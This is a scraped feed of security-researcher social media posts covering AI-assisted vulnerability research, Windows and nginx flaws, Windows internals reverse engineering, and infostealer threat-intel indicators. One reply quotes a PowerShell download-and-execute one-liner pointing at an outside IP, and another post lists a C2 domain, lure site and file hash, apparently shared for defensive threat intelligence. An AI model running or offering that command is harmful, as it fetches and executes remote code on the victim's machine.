$V

[Taha ז @lordx64]

I’ll be honest here.

I don’t feel the same excitement about iOS exploitation anymore like it was during the Lookout days in 2016 with the NSO exploit chains.

Today you can run commodity AI like DeepSeek, you run an AI swarm into a problem, it might cost you $3000 via API or nothing if you own some DGX, and you will find vulns. You will find the exact same vulns with $30,000 spent on openAI.

I think the only people left finding something are the ones building special fuzzing harnesses steered by an LLM to explore paths that weren’t explored before (there are already open source projects for this). And of course the upstream bugs that Apple keep introducing after each release.

Knowing that with an LLM you can reverse engineer anything end to end, plus you have access to better harness now and you can 1-shot your own:

Vulnerability research only constraints looks to be money (granted you have the skills already)

If you are rich you will find vulns.

If you are poor it means you missed all the previous cycles to make money on VR and you have a skill problem, or maybe you just started. If you just started it will be exponentially hard to find anything useful going forward the bar is extremely high and most importantly exponentially expensive.

Bad news for threat actors in cybercrime.

That leaves us with nation states or well funded firms / having resources to find new bugs.

If you are independent VR guy I wish you good luck.

[$V @SteveVanasche77]

@Dinosn Cyberkimi is the answer

[$V @SteveVanasche77]

Il paradosso della cybersecurity italiana: tutti sanno che è importante, quasi nessuno è pronto https://t.co/Advs9SOrGS

[vx-underground @vxunderground]

Another Windows zero day released by Nightmare Eclipse (sort of)

It turns out Microsoft just straight up didn't patch an old CVE from 2020 correctly.

https://t.co/sNWBtTo4at

[$V @SteveVanasche77]

Your rewrite configs are vulnerable. WordPress, API gateways, PHP routingthat pattern everyone uses. Zero auth needed. Public PoC live. Check: nginx -v (0.6.27-1.30.0 = exposed) Can't patch? There's a workaround.
https://t.co/Z05hulqu8Z

[$V @SteveVanasche77]

@TheHackersNews Confirmed: creates sections in SYSTEM-writable paths (FMPWinlogon1) with write access (0xf0007). The primitive is there. Missing from PoC: finding SYSTEM services that trust these sections for security decisions.
https://t.co/6Z5ms8b0Qk

[$V @SteveVanasche77]

@hetmehtaa Storage encryption protects disks. This protects against app compromise and insider threats. Hiding data from users solves nothing.

[$V @SteveVanasche77]

@hetmehtaa I really liked your explanation of the “confused deputy sheriff” model!
Last night, however, I decided to run a reverse engineering analysis on the structure:
- UTF-16 SID at 0x10
- Local settings IDs (0x0409, 0x0410)
- GUID at 0x88
- Validated by WinDbg

https://t.co/6Z5ms8b0Qk

[$V @SteveVanasche77]

I reverse engineered the GreenPlasma Windows 11 primitive and found that CTFMON.exe stores user identity data inside shared section objects under:

\Sessions\1\BaseNamedObjects\

Including raw UTF-16 SID strings directly in memory.
https://t.co/CAXgNnwqiY

[$V @SteveVanasche77]

DarkSword: Building a Browser-Based C2 for iOS Research
https://t.co/RDCPP5pjJU

[$V @SteveVanasche77]

Android 16: Critical Vulnerability Bypasses VPN Protection and Exposes Your Real IP
https://t.co/9pAFzP5kHn

[$V @SteveVanasche77]

iOS Forensics Deep Dive: Recovering Deleted WhatsApp Messages with MVT and iLEAPP
https://t.co/v5rmlwKvHh

[$V @SteveVanasche77]

@Storm0210 Invoke-Expression (Invoke-WebRequest 62[.]133[.]61[.]33/hello.txt -UseBasicParsing)

[$V @SteveVanasche77]

- Uffizi
Cybersecurity experts on LinkedIn are already weighing in ..

[$V @SteveVanasche77]

https://t.co/dQV6Qccy4G

[$V @SteveVanasche77]

full report : https://t.co/r5cYQBVdn9

[$V @SteveVanasche77]

Primary C2: Domain: diddyparty[.]click
IP: [Cloudflare-protected]
C2 URL: https://diddyparty[.]click/api/index[.]php?
Compromised/Lure Site: https://engineerscouncil[.]org
Filename: update.exe
SHA1: c8cb9d9cd2683811ab0741bc29acd1a78e0b5796
infosteler (Lumma Stealer)

[$V @SteveVanasche77]

*Infostealer: Stealc/Vidar Stealer

[$V @SteveVanasche77]

#ThreatIntel #Malware #Cybersecurity #SOC